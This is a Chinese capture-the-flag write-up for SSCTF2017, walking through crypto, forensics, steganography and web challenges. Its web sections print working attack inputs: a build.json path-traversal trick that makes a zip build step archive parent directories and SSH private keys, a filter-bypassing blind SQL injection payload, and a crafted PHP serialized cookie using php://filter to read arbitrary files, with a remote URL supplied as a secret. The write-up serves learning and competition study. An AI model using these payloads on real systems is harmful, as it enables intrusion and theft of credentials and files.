SSCTF2017 writeup

作者: zhazhami | 来源:发表于2017-05-08 11:51 被阅读243次

    签到题

    base64+凯撒+栅栏加密

    flag在哪里

    题目给了一个pcapng包,用wireshark分析,发现是和git有关的请求(虽然实际上不叫git,而是另外一个名字,忘了...),然后到题目网站看,git文件都可以下载。
    于是在本地也建了一个git项目,然后先把网站的git目录index文件下载下来,copy到我自己的目录,运行命令

    git ls-files --stage
    

    可以看网站的文件目录结构以及对应的hash,然后从里面发现了两个可疑文件flag.txt和pass.php,于是把这两个文件对应的数据文件copy下来了,然后运行命令

    git cat-file -p 950338
    

    查看flag.txt内容

    SSCTF{give you flag,can you accept?"}

    这个交了发现是假的,然后pass.php里面有个串wodegea,还不知道有什么用。
    之后联想到git的版本控制功能,于是尝试查看每次提交的改动。在logs/HEAD里面可以看到每次commit对应的hash:

    0000000000000000000000000000000000000000 cd7bee8ad1b5807b7136fd8fb0c9ae853204c1fc zhang tie zt@163.com 1493198973 -0400 commit (initial): pass????
    cd7bee8ad1b5807b7136fd8fb0c9ae853204c1fc eac8d383f192730a605bb5d3115aa4bbba8a99ea zhang tie zt@163.com 1493199151 -0400 commit: pass??
    eac8d383f192730a605bb5d3115aa4bbba8a99ea 9ab1451776fb32e82c2524fc4f37fa3f33ceae2f zhang tie zt@163.com 1493199966 -0400 commit: password?
    9ab1451776fb32e82c2524fc4f37fa3f33ceae2f 473e9cce7391e913ffcf10b96ba6e4c0b950fe8e zhang tie zt@163.com 1493201128 -0400 commit: test pass
    473e9cce7391e913ffcf10b96ba6e4c0b950fe8e 8894bb4d45643d52b5eb8175710999fcd398ebd4 zhang tie zt@163.com 1493201292 -0400 commit: 666666666
    8894bb4d45643d52b5eb8175710999fcd398ebd4 6a0bbb4f6ce6d101c0cf5abac4b04ff004b1a918 zhang tie zt@163.com 1493201414 -0400 commit: this is flag

    所以可以在本地用命令

    git show commit_hash ssctf
    

    查看文件的改动。这样翻了一下,发现了真的flag.txt(但是加密了)

    image.png

    和一个有加密函数的pass.php

    <?php
    $encrypt = base64_encode(wtf('flag_password', 'ssctf'));
    function wtf($data,$pwd) {
        $cipher ="";
        $key[] ="";
        $box[] ="";
        $pwd_length = strlen($pwd);
        $data_length = strlen($data);
        for ($i = 0; $i < 256; $i++) {
            $key[$i] = ord($pwd[$i % $pwd_length]);
            $box[$i] = $i;
        }
        for ($j = $i = 0; $i < 256; $i++) {
            $j = ($j + $box[$i] + $key[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp;
        }
        for ($a = $j = $i = 0; $i < $data_length; $i++) {
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp;
            $k = $box[(($box[$a] + $box[$j]) % 256)];
            $cipher .= chr(ord($data[$i]) ^ $k);
        }
        return $cipher;
    }
    ?>
    
    

    看了一下是rc4加密,然后网上找了个地方对flag.txt中的密文解密,就得到了最后的flag

    互相伤害

    题目给了个压缩包,里面有个文件,打开看了下感觉是流量包,于是加了后缀pcapng,用wireshark看,发现里面都是请求图片。

    把这些图片扒了下来,发现里面有个图片有个二维码,还写着aes和CTF,扫了一下是个aes的密文。本来以为是要解密后面说的那个压缩包才能拿到密钥,结果发现CTF其实就是密钥,解密后得到一个串


    4356f2b426ad8355c99e9388a3189c89.jpg

    然后另一张写着互相伤害的图可以解压出一个压缩包,不过加密了,用上面的串解密就行了

    a1d63bb3ed1f9df89b72375f1ed79e5d.jpg

    这个二维码中心有个小的二维码,扫了一下就得到了flag。

    我们的秘密是绿色的

    题目给了个压缩包,里面有张图片,binwalk了一下没结果,感觉图片有隐写,于是各种google
    在搜“ctf 我们的秘密”的时候,发现陕西之前有个比赛的题目名字就叫我们的秘密,看了一下用了一个叫oursecret的工具解密的,于是下载下来试试,不过要输密码,题目提示是green,然后发现给的图片里的日历有的数字是绿色的,试了一下果然解开了,得到一个压缩包。

    image.png

    压缩包有密码,注释提示coffee的生日,生日也就8位,爆破一下就出来了。

    19950822

    解压出来又是一个压缩包(=。=)和一个readme.txt,看了一下这个txt的crc码和压缩包里的readme.txt是一样的,想到了已知明文攻击,跑了几分钟就出来了。
    最后的压缩包什么提示都没有,感觉可能是伪加密,binwalk -e一下,就得到了flag.txt

    qddpqwnpcplen%prqwn_{_zz *d@gq}

    感觉跟签到有点像,凯撒+栅栏解密一下就出来最后的flag了

    WebHook:

    基本上代码审计题,主办方也一直在修复,修了好多其他漏洞?

    addrepo可以加仓库和git地址(secret_key试了下就是ssctf)

    根据代码加个仓库

    http://webhook.ssctf.seclover.com:8000/addrepo?repo=fuckssctf&key=e6b4c612b636d5f4cf3d44e23ffd0b7d&url=https://github.com/sicalpath/fuckssctf.git&pass=fuck
    

    向/push POST时可以触发build,会checkout 上边提交的地址 https://github.com/sicalpath/fuckssctf.git,然后根据build.json里的内容生成压缩包

    POST /push HTTP/1.1
    Host: webhook.ssctf.seclover.com:8000
    Content-Type: application/json
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Encoding: gzip, deflate, sdch
    Accept-Language: zh-CN,zh;q=0.8
    Cookie: 
    Connection: close
    Content-Length: 166
    
    {"repository":{"name":"fuckssctf"},"ref":"refs/heads/master","url":"https://github.com/sicalpath/fuckssctf","before":"https://github.com/sicalpath/shadowbroker.git"}
    

    然后用fuckssctf fuck 登陆一下

    http://webhook.ssctf.seclover.com:8000/log 可以看到build的记录

    2017-05-07 06:55:46 INFO building fuckssctf:master
    2017-05-07 06:55:48 INFO fuckssctf clone ok
    2017-05-07 06:55:50 INFO fuckssctf:master checkout ok
    2017-05-07 06:55:51 INFO fuckssctf:master pull ok
    2017-05-07 06:55:52 CRITICAL fuckssctf:master build error
    2017-05-07 06:59:26 INFO building fuckssctf:master
    2017-05-07 06:59:28 INFO fuckssctf:master checkout ok
    2017-05-07 06:59:30 INFO fuckssctf:master pull ok
    2017-05-07 06:59:31 CRITICAL fuckssctf:master build error
    2017-05-07 07:03:42 INFO building fuckssctf:master
    2017-05-07 07:03:45 INFO fuckssctf:master checkout ok
    2017-05-07 07:03:46 INFO fuckssctf:master pull ok
    2017-05-07 07:03:48 CRITICAL fuckssctf:master build error
    2017-05-07 07:05:31 INFO building fuckssctf:master
    2017-05-07 07:05:34 INFO fuckssctf:master checkout ok
    2017-05-07 07:05:36 INFO fuckssctf:master pull ok
    2017-05-07 07:05:38 INFO fuckssctf:master build ok
    2017-05-07 07:18:58 INFO building fuckssctf:master
    2017-05-07 07:19:02 INFO fuckssctf:master checkout ok
    2017-05-07 07:19:04 INFO fuckssctf:master pull ok
    2017-05-07 07:19:06 CRITICAL fuckssctf:master build error
    

    主要有用漏洞的在build里

                args = ['zip', '-r',
                        os.path.join(outpath, str(int(time.time())) + '.zip')]
                if os.path.isfile(os.path.join(basedir, 'build.json')):
                    b = json.loads(
                        open(os.path.join(basedir, 'build.json')).read())
                    for x in b.get('include', [basedir]):
                        args.append(x)
    
                    for x in b.get('exclude', []):
                        args.append("-x")
                        args.append(x)
                    p = subprocess.Popen(args, cwd=basedir)
    

    我把我的git仓库里的build.json写成

    {"include":["../."]}
    

    这样可以把上级目录打包,log里看有的目录build会error

    虽然error了但是也生成了文件zi74MVxj

        ziavJH5H
        zi74MVxj
        1494156424.zip
        1494156331.zip
        1494155136.zip
    

    下载下来自己加上.zip用winrar自带工具的修复一下依然可以读文件,在config里读到了git地址是git@git.coding.net:ljgame/flag.git

    [core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    [remote "origin"]
    url = git@git.coding.net:ljgame/flag.git
    fetch = +refs/heads/:refs/remotes/origin/
    [branch "master"]
    remote = origin
    merge = refs/heads/master

    然后再改下build.json

    {"include":["../../../home/."]}
    

    打包发现了ssh的密钥

    id_rsa id_rsa.pub

    用这个密钥在本机clone一下就行了,得到flag.txt

    CloverSec Logos

    首页有个登录框,然后是一堆图片,扫了一下目录,发现

    .index.php.swp ssctf_flag.php

    官方给了提示有备份文件,于是又下载下来了个"index.php.swp",看了下必须要登录才能有后面的操作,于是先想办法登录。
    小伙伴跑了半天弱口令没结果,于是看看能不能注入。试了下登录框没办法,然后发现首页的几个图片的链接是xxx?id=1,试了一下id=1%2b1都不行,感觉这个id应该是当字符串处理了,于是试了下单引号和双引号,发现id=1"%2b"1会返回id=2的结果,可以注入,接着测试空格,or、and和mid什么的都被过滤了,最后成功绕过的payload:

    id="%2b((select%2bascii(substr(passwoorrd,1,1))%2b0.from(user)where(username="admin"))>0)%2b"
    

    写了个python脚本跑了一下,得到了password

    14aceb3fc5992cef3d97

    20位,而md5是32位,google了一下,发现是dedecms的加密方式,也就是md5后去掉前5位和后7位,解密只需要去掉前3位和后1位,然后md5_16解密即可。解密后是admin^g,登录进去后,再看index.php.swp可以看到另外的一些源码信息,关键在这段:

    <?php
    if(isset($_GET['action'])&&$_GET['action']=='imformation')
    {
        if(isset($_COOKIE['token']))
        {
            $secret=$_GET['secret'];    
            $token =$_COOKIE['token'];
            if(isset($secret)&&(file_get_contents($secret,'r')==="1234"))
            {
                echo "hello Hacker!<br>";   
                include("include.php");
                echo ssctf_unserialize($token);
            }
            else
            {   
                echo "You are not Hacker ! ";   
            }
        }
        else{
            setcookie("token",'');
            echo '<h2 style="text-align:center;">Welcome</h2>';
            echo '<div><h4>User imformation</h4><ul>';
            echo '<li>Username : '.$imformation['username'].'</li>';
        }
    }
    

    首先要secret满足条件,在服务器上建一个内容为1234的txt就行了,然后token这里反序列化,应该有问题,结合之前发现的.index.php.swp,这个文件最后有一句

    setcookie("token",'O:+4:"Read":1:{s:4:"file";s:58:"php://filter/read=convert.base64-encode/resource=index.php";}'); 
    

    把index.php改成别的,然后改一下长度就能读任意文件了
    直接读上面找到的ssctf_flag.php,然后解码就行了

    GET /index.php?action=imformation&secret=http://118.193.238.4/tool/1234.txt HTTP/1.1
    Host: 60.191.205.80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Cookie: PHPSESSID=0gumnfk79q6aktr4jd958btiq0;token=O%3A%2b4%3A%22Read%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A63%3A%22php%3A%2f%2ffilter%2fread%3Dconvert.base64-encode%2fresource%3Dssctf_flag.php%22%3B%7D
    Connection: close
    Upgrade-Insecure-Requests: 1
    

    相关文章

      网友评论

        本文标题:SSCTF2017 writeup

        本文链接:https://www.haomeiwen.com/subject/tfpptxtx.html